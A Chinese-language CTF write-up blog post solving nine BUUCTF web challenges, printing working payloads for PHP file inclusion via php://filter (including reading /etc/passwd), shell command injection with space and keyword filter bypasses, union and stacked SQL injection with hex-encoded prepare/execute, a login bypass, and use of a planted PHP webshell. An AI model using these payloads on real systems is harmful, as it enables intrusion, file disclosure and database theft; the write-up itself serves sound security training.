☰
BUUCTF Web 刷题短记录(一)
2026/11/4 2:32:22 网站建设 项目流程

BUUCTF Web 刷题短记录(一)

学习记录,短平快,只留操作流程、知识点和 payload,持续更新。

题目索引

#题目考点
1[ACTF2020 新生赛]Include文件包含 +php://filter读源码
2[ACTF2020 新生赛]Exec命令执行 / 命令拼接
3[极客大挑战 2019]Havefun源码泄露 / 代码审计
4[极客大挑战 2019]LoveSQL字符型 SQL 注入 / union 联合查询
5[强网杯 2019]随便注堆叠注入 / 预处理语句绕过
6[GXYCTF2019]Ping Ping Ping命令执行 / 空格与关键字绕过
7[SUCTF 2019]EasySQL堆叠注入 / sql_mode
8[极客大挑战 2019]Secret File文件包含 +php://filter
9[极客大挑战 2019]Knife一句话木马 / 蚁剑连接

[ACTF2020 新生赛]Include

考点:文件包含(LFI)+ PHP 伪协议

首页只有一个链接,href 直接把参数名告诉了我们:

<ahref="?file=flag.php">tips</a>

点进去?file=flag.php,页面只有一句Can you find out the flag?。

include一个 php 文件时,PHP 是当代码执行的:echo的内容会输出,//CTF2{...}是注释,解析器直接丢掉。所以直接包含,永远看不到 flag。

先用同样的手法把入口源码读出来,看清过滤规则:

$file=$_GET["file"];if(stristr($file,"php://input")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){exit('hacker!');}include($file);

黑名单挡了四个协议,独独漏了php://filter。

思路:别让 PHP 执行它,而是让它在“交给解析器之前”变成普通文本。php://filter的read=convert.base64-encode正好在读取阶段就把整份源码(含<?php)编码掉,include拿到的是一串没有 PHP 标签的 base64,只能当 HTML 原样输出。

payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

read=可以省,convert.base64-encode不能省——少了它,流里还是原始<?php,照样执行。

回显:

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL0NURjJ7NWUwZjdkZGYtM2QyZC00MjQ1LTljZjQtYzQ0ZDRmNTM1YjE3fQo=

解码:

echo'PD9waHAK...NQo='|base64-d
<?phpecho"Can you find out the flag?";//CTF2{5e0f7ddf-3d2d-4245-9cf4-c44d4f535b17}

flag:CTF2{5e0f7ddf-3d2d-4245-9cf4-c44d4f535b17}

同一条链还能读任意文件,改resource=就行:

?file=php://filter/read=convert.base64-encode/resource=index.php ?file=php://filter/read=convert.base64-encode/resource=/etc/passwd

小结

  • include会执行 PHP 代码,想看源码就得让文件在“被读取”阶段就变形。
  • php://filter是伪协议里最常用的读源码工具,convert.base64-encode把<?php一起编码,绕过执行。
  • 黑名单只列了四个协议,php://filter不在里面——黑名单思维永远有漏网之鱼。

[ACTF2020 新生赛]Exec

考点:命令执行(命令拼接)

打开是个 ping 界面,输入127.0.0.1有回显,推测后端用了exec()或system()一类的函数。于是拿;把原命令截断,拼接自己的命令,再一路路径穿越读到根目录:

127.0.0.1;cat../../../../flag

回显:

flag=CTF2{fb7d591a-9a4f-4e62-89d2-de900aaa8208}

flag:CTF2{fb7d591a-9a4f-4e62-89d2-de900aaa8208}

小结

  • 常见命令拼接符:;、|、||、&、&&、换行,具体看后端怎么拼。
  • 先ls看清目录,再用cat读文件、find / -name "flag*"全盘找。
  • 靶机一般把 flag 放在根目录,路径穿越时数清目录层级。

[极客大挑战 2019]Havefun

考点:源码泄露 / 代码审计

打开题目,页面中没有任何有用的东西。

按惯例 F12 看源码,在页面最底部发现一段被注释掉的 PHP:

<!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } -->

意思很直白:传进来的cat等于dog,就输出 flag。试一下:

?cat=dog

flag:flag{CTF2198316790-f2d3-4995-a5c0-0e0aed156906)}

小结

  • “页面什么都没有”不等于没有信息,F12、看注释、看响应头都是基本操作。
  • 这题的echo $cat;没有任何过滤,虽然只是个回显,但也是典型的反射型输入点。
  • 代码审计先从注释、隐藏字段、前端校验这类“以为别人看不见”的地方看起。

[极客大挑战 2019]LoveSQL

考点:SQL 注入(字符型 + union 联合查询)

打开是熟悉的登录框,老熟人了。

字符型注入先用万能密码试水:用户名填1'='1'or'1,密码随便,直接登录成功。

登录后观察顶部 URL,有传参的参数,说明在check.php里查库。开始猜列数,order by一路往上加,到第四列开始报错,于是确定只有三列:

然后就是查库名、表名、列名,一路查到 flag:

下面为了看着清楚,payload 没做 URL 编码。实际发送时'写成%27、#写成%23、空格写成%20,其他特殊字符同理;嫌麻烦就直接丢进 Burp 改包。

-- 查库名/check.php?username=1' union select 1,2,database()#&password=1 -- 查表名 /check.php?username=1'unionselect1,database(),group_concat(table_name)frominformation_schema.tableswheretable_schema="geek"#&password=1-- 查列名/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="geek"#&password=1 -- 查 flag /check.php?username=1'unionselect1,2,group_concat(id,username,password)fromgeek.l0ve1ysq1#&password=1

flag:CTF2{16130656-7d38-4a1c-830d-a87e8fd6e8d0}

小结

  • 字符型注入先用'探路,1'='1'or'1这种万能密码能直接绕过登录。
  • order by n猜列数,报错前一个数就是列数;union 前后列数必须一致。
  • information_schema.tables/columns拿表名、列名,group_concat()一次带出多条。
  • #把原查询后面的and password=...注释掉,union 才不会被打断。

[强网杯 2019]随便注

考点:SQL 注入(堆叠注入 + 预处理语句绕过关键字过滤)

打开就是这个样子,没什么想法。

按惯例把1、1'、select都试一遍,发现select等一系列关键字被过滤了。

常规注入走不通,换堆叠注入:

1';showtables;#

拿到两张表:1919810931114514和words。再看数字表的结构:

1';showcolumnsfrom`1919810931114514`;#

只有一个字段,就是 flag。

麻烦在于:后端查询大概率是select * from words where id='$inject'这种形式,查的是words表,而 flag 单独躺在一张只有一列的表里——直接查格式对不上;加上select被过滤,只能绕。

于是用prepare ... from ...+execute执行一条字符串形式的 SQL,字符串用十六进制表示,天然绕开关键字检测:

1';SeT@a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepareexecsqlfrom@a;executeexecsql;#

那段十六进制解出来是:

select*from`1919810931114514`

SeT大小写混写,同样是为了绕开大小写敏感的黑名单。

最后拿到 flag。这题强烈建议自己动手试一遍,尤其是转十六进制、拼字符串那一步,参数很容易写错。

参考帖子(三种解法,讲得很细):buuctf[强网杯 2019]随便注 1(超详细,三种解法)

flag:CTF2{91bbb9ba-3268-4299-9aba-d3399f480791}

小结

  • 堆叠注入的前提是后端用了mysqli_multi_query()这类支持多语句的接口。
  • show tables、show columns from不受select黑名单限制,是堆叠注入的起手式。
  • 关键字过滤可以靠大小写混写、注释、十六进制、prepare/execute绕。
  • 表名全是数字时,记得用反引号`包起来。

[GXYCTF2019]Ping Ping Ping

考点:命令执行 + 空格与关键字绕过

题目就是一个 ping 输入框。

先按老套路在 IP 后面跟;ls,果然有线索:

?ip=127.0.0.1;ls

目录里有两个 php 文件,flag 应该就在flag.php里。直接读,被拦了:

换成index.php也一样。用$IFS$1顶替空格,读一下后端源码:

?ip=127.0.0.1;cat$IFS$1index.php
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/",$ip,$match)){echopreg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/",$ip,$match);die("fxck your symbol!");}elseif(preg_match("/ /",$ip)){die("fxck your space!");}elseif(preg_match("/bash/",$ip)){die("fxck your bash!");}elseif(preg_match("/.*f.*l.*a.*g.*/",$ip)){die("fxck your flag!");}$a=shell_exec("ping -c 4 ".$ip);echo"<pre>";print_r($a);

翻译一下:

  • 符号黑名单里有& / ? * < > ' " \ ( ) [ ] { },外加\x00-\x20(所有空白字符)——空格被彻底堵死,但;不在名单里。
  • bash是关键字;flag那个正则.*f.*l.*a.*g.*最阴,四个字母分开写都能中招。

两个绕过:

  1. 空格 →$IFS$1。$IFS是 shell 的内部字段分隔符,默认就是空格;$1是空变量,拼起来刚好展开成一个空格。
  2. flag→ 拆开写。先a=g,再写fla$a.php,正则里凑不出连续的flag,交给 shell 展开后又是flag.php。
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

命令是执行了的,但页面里看不到 flag——它被注释在 HTML 里了,F12 看源码:

flag:CTF2{f33c6ee7-439a-40ae-b9a0-bbbfe4d045b3}

小结

  • $IFS$1、$IFS$9、${IFS}是空格绕过的常用写法;\x00-\x20这种黑名单下,tab 和换行也一起废了。
  • 关键字正则写成.*f.*l.*a.*g.*时,变量拼接(a=g; ...fla$a.php)是最省事的绕法。
  • 命令执行回显为空不代表没执行,F12 看源码、看注释。

[SUCTF 2019]EasySQL

考点:SQL 注入(堆叠注入 +||的语义)

页面只有一个输入框,POST 参数query,输入什么回显什么。

先抓包看请求(Burp 四步走:挂代理127.0.0.1:8080→ Intercept is on → 抓到 POST 包 → Send to Repeater),改包就是在 body 的query=后面动手:

POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded query=1

输入1回显1→ 数字型,无引号,直接拼接。

试一下堆叠注入,有回显:

1;show tables;

回显表名Flag。反推后端语句,只剩一种可能:

select[我的输入]||flagfromFlag

坑就在||上:MySQL 默认它是逻辑或不是拼接,1||flag恒等于 1,flag 列根本没被用上。后端支持多语句执行(mysqli_multi_query()),所以有两条路。

方法一:*,1(撑爆字段列表)

select*,1||flagfromFlag → 等价于select*,1fromFlag

1||flag恒为 1 无所谓,*把所有列原样带出。(不能只输*,因为* || flag是语法错误,,1就是专门接住模板尾巴的。)

方法二:1;set sql_mode=pipes_as_concat;select 1(改环境)

先把||改成字符串拼接,模板自动拼成select 1||flag from Flag→CONCAT('1', flag),回显1+ flag。

payload:

*,1
1;setsql_mode=pipes_as_concat;select1

拿到 flag。

小结

  • 堆叠注入的前提:mysqli_multi_query()支持多语句。
  • MySQL 的||默认是逻辑或,不是字符串拼接;set sql_mode=pipes_as_concat可改成拼接(会话级生效,同连接的后续语句都算)。
  • 黑名单词(flag、from)全写在服务器模板里,自己不用打——这是绕 WAF 的核心视角。

[极客大挑战 2019]Secret File

考点:文件包含 +php://filter

页面下面有个链接可以点,点进去:

是个查询 flag 的页面,点一下select,又跳到别的页面:

跳转后的页面什么都没有。

打开 Burp 抓一下点select之后的请求,发现中间夹着一个secr3t.php:

访问它,得到源码:

<html><title>secret</title><meta charset="UTF-8"><?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data")){echo"Oh no!";exit();}include($file);//flag放在了flag.php里?></html>

../、tp、input、data都被挡了,但php://filter里既没有tp,也没有input/data,能过。直接访问flag.php是拿不到的,照样用 base64 读源码:

/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

把回显那一长串 base64 解出来,flag 在注释里。

flag:CTF2{8af10a92-0362-41df-bc52-e7cf3e3afc61}

小结

  • 跳转链路被藏起来时,抓包看中间请求,往往能挖出没有链接的页面(secr3t.php)。
  • 过滤tp是为了堵php://一类的伪协议,但php://filter字符串里凑不出tp,正好漏过去。
  • highlight_file(__FILE__)直接把源码摊开给你看,等于开局送答案。

[极客大挑战 2019]Knife

考点:一句话木马 / webshell 管理工具

能见到这道题就可以存档休息了——题目已经把一句话木马传上去了,密码是Syc。

菜刀连一下就行。这里用蚁剑,因为菜刀容易被杀,而且停更很久了。

URL 填靶机地址,密码填Syc,编码器默认。连上后点根目录,flag 就在根目录下:

也可以用命令找:

find/-name"flag*"2>/dev/null

flag:CTF2{673687e7-cec9-48f5-b904-f24e88a153cf}

小结

  • 一句话木马本质是eval($_POST['密码']),客户端只是把 PHP 代码 POST 过去。
  • 密码就是 POST 参数名;连接成不成功看返回包,不是看页面长相。
  • 拿到 shell 先whoami、ls /,flag 一般在根目录或/flag。

附:Burp Suite 常用操作与踩坑

  • POST body 里空格、;、*、,原样发就行;放 URL 参数才要%20。Burp 会自动更新Content-Length。
  • Drop 之后浏览器报Request was dropped by user是正常的(请求被丢了)。
  • Send 完 flag 在Response 标签里,别盯着 Request 看。
  • 抓不到包先检查代理设置和Intercept is on。

(未完待续)

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询